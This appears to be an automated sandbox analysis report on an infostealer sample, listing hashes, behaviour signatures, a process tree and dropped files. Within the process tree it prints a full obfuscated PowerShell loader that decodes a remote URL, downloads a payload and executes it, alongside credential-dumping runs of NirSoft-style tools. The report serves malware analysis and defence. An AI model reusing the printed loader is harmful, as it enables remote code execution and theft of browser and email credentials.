Analysis

  • max time kernel
    148s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    22/08/2024, 10:14

General

  • Target

    833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe

  • Size

    483KB

  • MD5

    148795d6cfcff607f38bd3815a65a7b6

  • SHA1

    a0e7f849720140d61d0bfecffb835fb467ae9faa

  • SHA256

    833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d

  • SHA512

    4e97c7ba04c0b61a1dc3dd0801364048527685b0d2df0e65cdb00670a8a73785d9386e92b51668c54ba6608daaf4f9d29749646fea4a751a9a6def74697c474e

  • SSDEEP

    6144:wTz+c6KHYBhDc1RGJdv//NkUn+N5Bkf/0TELRvIZPjbsAOZZBAXccrOT4:wTlrYw1RUh3NFn+N5WfIQIjbs/ZBFT4

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Detected Nirsoft tools 8 IoCs

    Free utilities often used by attackers which can steal passwords, product keys, etc.

  • NirSoft MailPassView 2 IoCs

    Password recovery tool for various email clients

  • NirSoft WebBrowserPassView 3 IoCs

    Password recovery tool for various web browsers

  • Blocklisted process makes network request 23 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 3 IoCs
  • Access Token Manipulation: Create Process with Token 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe
    "C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe"
    1⤵
    • Suspicious use of SetThreadContext
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2476
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Trekanterne174.vbs"
      2⤵
      • Blocklisted process makes network request
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2684
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "write 'Deaktivering250 Sterilizabilities Desilver Busboy Ischiovertebral Yemen Geotekniske Pagterne Graphoscope preoccupation Lurkers Palliatively Sladrehankenes platybrachycephalous Retshistorie Qualification Kaprendes Undseligheds Orthogonalized Menulinie Prgnantest Larms Antipestilential Blomsterlgene Deaktivering250 Sterilizabilities Desilver Busboy Ischiovertebral Yemen Geotekniske Pagterne Graphoscope preoccupation Lurkers Palliatively Sladrehankenes platybrachycephalous Retshistorie Qualification Kaprendes Undseligheds Orthogonalized Menulinie Prgnantest Larms Antipestilential Blomsterlgene';If (${host}.CurrentCulture) {$Ruefulness='SUBsTR';$Danmarksmestrenes++;}$Ruefulness+='ing';Function semisavage($Semicultivated){$Attesterer=$Semicultivated.Length-$Danmarksmestrenes;For( $Saetningsblok=2;$Saetningsblok -lt $Attesterer;$Saetningsblok+=3){$Deaktivering250+=$Semicultivated.$Ruefulness.'Invoke'( $Saetningsblok, $Danmarksmestrenes);}$Deaktivering250;}function bagstagets($Mirrorise){ . ($Fetichize) ($Mirrorise);}$Nedtrappedes=semisavage 'AfM,eoVezMiiF,lB lAra ,/ S5In.Ko0Af Fe(EuWDei DnredN,oJaw,tsFi .uNSaTR. U1 .0Ha.He0Si; K BaW riTjnMa6 f4ko;Re LaxL.6 K4Be; , urChv.a: ,1Ov2He1,a. M0Re) u SoGBeeL,cBlkKroPr/M.2,o0 ,1 .0 0 E1Ap0 B1St TrFCri,irBeePefr o NxBe/Un1Re2Wi1Mi.Im0Fo ';$Speronaros33=semisavage ' .UAdsCheSurWa- OARigD e OnClt ';$Ischiovertebral=semisavage 'W.hN.t tF.pDusB.:In/ru/,twFoe Kl Occlo Um DsSlpMalHyuHasEn.Unr BuSk/G wMipSt-KoaM,d Sm oiRanA./Chu Bs,fe Ur .s.e/p MSviGdj Ua c.BofInlW.aPr ';$Badeomraaderne=semisavage 'U > L ';$Fetichize=semisavage 'Udi ,e NxNo ';$Chromocyte='Pagterne';$Dysgenical = semisavage 'SceSkcTrhPeo , ,l%DeaRepF,p AdWiaObtSkaAn%.h\,iPDoo usTrhSooTo..rSF gsasB, Mo&Ve& D .eD,cAshhao,i Yht h ';bagstagets (semisavage ' E$K gRelS,o,fbBea ylLe: D.te r.ciSte ,t u=Me(L.c Sm TdSt Ud/SycRu Un$H,D AyGrsCrgCoeTunCaiFecVaaB lA )Gt ');bagstagets (semisavage 'St$StgRilT,oSabtoaSilAn: JB wu FsV,bGloTayR.=Ge$ lIBysr,cKrhSti doAhvMae ErTot eEdbl rRaaQdlHy. LsOopSklKoiA,tTo(,l$M,BN aNudFleKroPemTorUnaSaa Ad .eOvrFenH,e.a)G. ');bagstagets (semisavage 'Un[ ,N FeI t.n.F.S.xeU,rIsvReiAtcIde .PBlo PiWenMatSmM NaU,n aaPeg ,eBerEp]Be:Ha:DrSlaeOpcStuStrRei Ft,iyDePSur ,oLatBloVicsyo FlS, S=,a Hu[ .NBleUnt S.ErSP eAuc LuI.rekiEst iyDrPSpr Bo Dt LoStcT,osulP.TFryKwpPle o]Un:U :hoT RlXas D1.e2 R ');$Ischiovertebral=$Busboy[0];$pvc= (semisavage 'pa$Kog SlLio ,bScas lTh:a.SBiehac.urP euntN iEun.esPi=PeNFreLowUn- UOOvb.ej.telocSatE. ImSL.yS s Pt Me mdo. N reent J.HnWPreI,bsuCA,lD i LeDenVgt');$pvc+=$Deriet[1];bagstagets ($pvc);bagstagets (semisavage 'E.$InSFieFecBarOpe RtEli anExsSi.AdHmiePha rdBle,er Bs,a[Fl$DeSCopAseG rNeoSknFoaD,rReoAssRa3ph3Ur] P=Ka$NoN.oe ,dU t SrAsaplpb,p .eAadSueDesFu ');$Fnernes=semisavage 'ag$p,S Le Sc .r neLft iSun MsBe.muDStoSkwPhnPrlh,oTnaSwdHaFgui MlBee i(,n$UdI,lsEpcBih PiHaoNivM e MrE.tBres.bHvrGaaKnl .,em$ TL,kaForD.mbrs.f) . ';$Larms=$Deriet[0];bagstagets (semisavage 'Ma$S.gInlAloW.b yaE.lKo: SS.oeC lT vOpmStoledEqsSliHagUneMolAisoseL.s .=Ju(umTU eP,sOvt.k-UnP UaD,tRehPr No$siL .a ,rF,mRusH.)El ');while (!$Selvmodsigelses) {bagstagets (semisavage 'Pa$ HgLol.toOfb Pa.ylKr:SeH UuSarFrtHafChuRelti=.u$ ,tE,r gupeeVi ') ;bagstagets $Fnernes;bagstagets (semisavage ' BSRut ,aBrrButWy- aSPelUle,reFlpS. Se4s. ');bagstagets (semisavage ' R$Trg BlUdoAbbIna PlHi:UnS,pe Fl,evTrm.co dUbs eiSig De gl Ms.fe PsBe=Po( NTAleDes at.a- oPNoaBet ThO Da$ChL .aInr,am.osP )Du ') ;bagstagets (semisavage 'Op$DigL,lovoSkbPha Al s: oD,ueT s.picolBevv,e.rrNo=Ro$ShgS,lDeo .bFlaHilF.:P SMetAfeAsr FiBrlodiEuzE,aSabStiPrl ,i ,tReisneTasLe+Un+St%Fo$PeB.guB.sS,bWeo.uyR,.Rec,ooUnuRun ,tSh ') ;$Ischiovertebral=$Busboy[$Desilver];}$Fogedforbud=347549;$Keckling=28042;bagstagets (semisavage 'T,$T gLilB.o Kb Ba UlKo:.dGA r naSlpS,h oCosr c DoEjp ee.e ,o=Op SGcoeKntSa-.hC loOmn bt Ae Mn Nt . r$MoLF,aSkrMemYmsU, ');bagstagets (semisavage 'Gr$H gAflL.onibBeaCylKu:SegMekHos K Ut= . e[TaS ay.os atOveRkmSy.VaC,uoLbnByvReeC,rR,tJ,]A : E: MFspr loTamH BCia Hs reNi6 4 S otHerPoi unVrg a(S.$UdGSurC.aFapTrhMaoB sb cDioSkpT e D)S, ');bagstagets (semisavage 'Fl$Dig ulOro.obR.aMelFi:ooP naTelTolHyipraS.tChiS vSkeNal,tyD Fl=M, M,[TrS nySfsIntR,eMemV .RbT,aeAnxFrtBo.,nE DnAscMoo NdIdiP.n .gAn] i: U: .A,eS uCmaIUnI b.TiGZ e ht RSS.t Cr PiO,nFagSc( P$ArgRekResAn)Sm ');bagstagets (semisavage 'Am$.kg olL o ObVeaTelPh:t.K Lni,i HfShe SlCriPikHyeHa=af$PrPTaaTilTilLoiS aAlthaiOsv ae SlN.yPe.UnsD u bK.s.nt .rMiiNonHogS,(.o$ AFTro ,g eUrdsafE.oZurM.b Su dEx,Di$CoK teCacS.kUblAmi in PgFo) O ');bagstagets $Knifelike;"
        3⤵
        • Blocklisted process makes network request
        • Access Token Manipulation: Create Process with Token
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2192
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Posho.Sgs && echo t"
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2012
    • C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe
      C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe /stext "C:\Users\Admin\AppData\Local\Temp\vkycpitdthfw"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      PID:2556
    • C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe
      C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe /stext "C:\Users\Admin\AppData\Local\Temp\fmluiaeehpxjypp"
      2⤵
      • Accesses Microsoft Outlook accounts
      • System Location Discovery: System Language Discovery
      PID:2604
    • C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe
      C:\Users\Admin\AppData\Local\Temp\833d78a7e52cbcc21bf4a6843b7ed4130b2d39ae18896370324a7203a705025d.exe /stext "C:\Users\Admin\AppData\Local\Temp\qgrfjtoyvxpoivedxef"
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:2576

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\Cab12E7.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • C:\Users\Admin\AppData\Local\Temp\Trekanterne174.vbs

    Filesize

    23KB

    MD5

    1603bcb30077161d37f2977db50f5873

    SHA1

    43df53981fc58d99cea68279555b4dd98366ed87

    SHA256

    c658636d66ecbaf505b36ded0d6798240fc60b955a47b58473c9f28b4927b22a

    SHA512

    29d8ecd9fc3b7ddfa1d6d3296cc4cc3bdbcb970f68f0aa3ae8c439e23faa9ad92170cdd82af958d01335b2fb9a76ebe5e5a9e5a84c89fca0f5924c938b5fe263

  • C:\Users\Admin\AppData\Local\Temp\vkycpitdthfw

    Filesize

    2B

    MD5

    f3b25701fe362ec84616a93a45ce9998

    SHA1

    d62636d8caec13f04e28442a0a6fa1afeb024bbb

    SHA256

    b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209

    SHA512

    98c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84

  • memory/2476-49-0x0000000010000000-0x0000000010019000-memory.dmp

    Filesize

    100KB

  • memory/2476-52-0x0000000010000000-0x0000000010019000-memory.dmp

    Filesize

    100KB

  • memory/2476-53-0x0000000010000000-0x0000000010019000-memory.dmp

    Filesize

    100KB

  • memory/2556-26-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/2556-24-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/2556-47-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/2556-25-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/2556-30-0x0000000000400000-0x0000000000478000-memory.dmp

    Filesize

    480KB

  • memory/2576-36-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/2576-40-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/2576-33-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/2576-35-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/2576-37-0x0000000000400000-0x0000000000424000-memory.dmp

    Filesize

    144KB

  • memory/2604-28-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2604-29-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2604-31-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2604-34-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2604-32-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB

  • memory/2604-56-0x0000000000400000-0x0000000000462000-memory.dmp

    Filesize

    392KB